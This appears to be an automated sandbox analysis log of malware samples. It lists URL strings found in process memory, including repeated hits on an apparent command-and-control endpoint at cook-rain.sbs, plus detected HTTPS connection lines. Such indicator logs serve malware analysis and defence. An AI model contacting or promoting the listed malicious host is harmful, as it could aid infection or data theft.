Source: 7250ce8e20.exe, 0000001B.00000003.3135002349.00000000054F4000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094735968.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3135593584.00000000054F4000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3154616276.00000000054F8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3098511566.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3099162069.00000000054F3000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3221377408.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3154792909.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094992972.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3118327740.00000000054F3000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3098995123.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3093983913.00000000054F0000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3117891732.00000000054F0000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094338451.00000000054E2000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094074164.00000000054F3000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3345260829.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3242768085.0000000000D2C000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3294432672.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3288246441.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3463426690.0000000000D37000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3349859652.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 7250ce8e20.exe, 0000001B.00000003.3221377408.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api&
Source: 7250ce8e20.exe, 0000001D.00000003.3430759574.00000000054D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiQ2
Source: 7250ce8e20.exe, 00000022.00000003.3483691930.0000000001297000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3443065613.0000000001298000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apifV
Source: 7250ce8e20.exe, 0000001B.00000003.3154792909.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apil
Source: 7250ce8e20.exe, 0000001B.00000003.3135002349.00000000054F4000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094735968.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3135593584.00000000054F4000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3154616276.00000000054F8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3098511566.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3099162069.00000000054F3000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094992972.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3118327740.00000000054F3000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3098995123.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3118895108.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3093983913.00000000054F0000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3117891732.00000000054F0000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094338451.00000000054E2000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094074164.00000000054F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/c
Source: 7250ce8e20.exe, 00000022.00000003.3548532421.0000000001297000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3513307917.000000000129A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/fmpuKr
Source: 7250ce8e20.exe, 0000001D.00000003.3288246441.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3329173301.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3288319907.00000000054DF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3326975615.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/ibTTQgM3
Source: 7250ce8e20.exe, 00000022.00000003.3548077701.00000000012B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/k
Source: 7250ce8e20.exe, 00000022.00000003.3443065613.0000000001298000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/o
Source: 7250ce8e20.exe, 0000001B.00000003.3221237929.00000000054F8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3118327740.00000000054F3000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3118895108.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3117891732.00000000054F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apiLocal
Source: 9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000002F.00000003.3434517522.00000254252A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000002F.00000003.3434517522.00000254252AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureWebExtensionUncheckedLastErr
Source: firefox.exe, 0000002F.00000003.3434517522.00000254252A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarningElem
Source: firefox.exe, 0000002F.00000003.3416696041.0000025421372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3545573720.0000025421372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3381148615.0000025421453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3568361684.0000025421366000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3557244379.000002542136D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2490369694.0000000023B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094872268.0000000005536000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3095381949.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268405736.0000000005539000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2490369694.0000000023B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094872268.0000000005536000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3095381949.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268405736.0000000005539000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2490369694.0000000023B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094872268.0000000005536000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3095381949.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268405736.0000000005539000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000002F.00000003.3434517522.00000254252AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/SelectOptionsLengthAssignmentW
Source: firefox.exe, 0000002F.00000003.3594243952.0000025422A17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3599114013.0000025422A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3594243952.0000025422A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000002F.00000003.3592813337.00000254225B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3597334491.0000025422A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: 7250ce8e20.exe, 0000001D.00000003.3310674431.000000000557D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000002F.00000003.3478307112.0000025421BAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000002F.00000003.3478307112.0000025421BDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000002F.00000003.3478307112.0000025421BAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: 7250ce8e20.exe, 0000001B.00000003.3097665497.0000000005504000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3098105533.00000000054E1000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3098995123.00000000054E4000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3270566583.00000000054F4000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3269887923.0000000005507000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268654257.0000000005504000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3420493240.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3417613587.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416929061.00000000012C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXID/
Source: 7250ce8e20.exe, 0000001B.00000003.3097665497.0000000005504000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3098105533.00000000054E1000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3098995123.00000000054E4000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3270566583.00000000054F4000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3269887923.0000000005507000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268654257.0000000005504000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3420493240.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3417613587.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416929061.00000000012C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXIDv10
Source: firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000002F.00000003.3478307112.0000025421BAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000002F.00000003.3478307112.0000025421BAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000002F.00000003.3592813337.00000254225B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3597334491.0000025422A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000002F.00000003.3592813337.00000254225B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3597334491.0000025422A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000002F.00000003.3471180484.0000025423AA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: 7250ce8e20.exe, 00000022.00000003.3464963698.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000002F.00000003.3568021756.0000025423BCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: 7250ce8e20.exe, 00000022.00000003.3464963698.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2728373333.0000000023DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3310674431.000000000557D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000002F.00000003.3381148615.0000025421453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000002F.00000003.3583688770.00000254247D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3589021814.00000254217F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000002F.00000003.3381148615.0000025421453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2490369694.0000000023B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094872268.0000000005536000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3095381949.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268405736.0000000005539000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000002F.00000003.3381148615.0000025421453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: 7250ce8e20.exe, 0000001B.00000003.3120709383.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3308111033.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3464066140.000000000585E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 7250ce8e20.exe, 0000001B.00000003.3120709383.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3308111033.00000000055DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2777086892.0000000000A94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 7250ce8e20.exe, 00000022.00000003.3464963698.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000002F.00000003.3594243952.0000025422A17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3599114013.0000025422A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3594243952.0000025422A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000002.2777086892.0000000000A94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2777086892.0000000000A94000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2777086892.0000000000B77000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2777086892.0000000000B77000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: 7250ce8e20.exe, 00000022.00000003.3464963698.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 7250ce8e20.exe, 00000022.00000003.3464963698.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000002F.00000003.3441942587.0000025423CA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3310674431.000000000557D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000002F.00000003.3473965157.0000025423A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000002F.00000003.3470307301.0000025423AC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000002D.00000002.3358320354.000001F88685A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3367902899.000001DCEEE6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
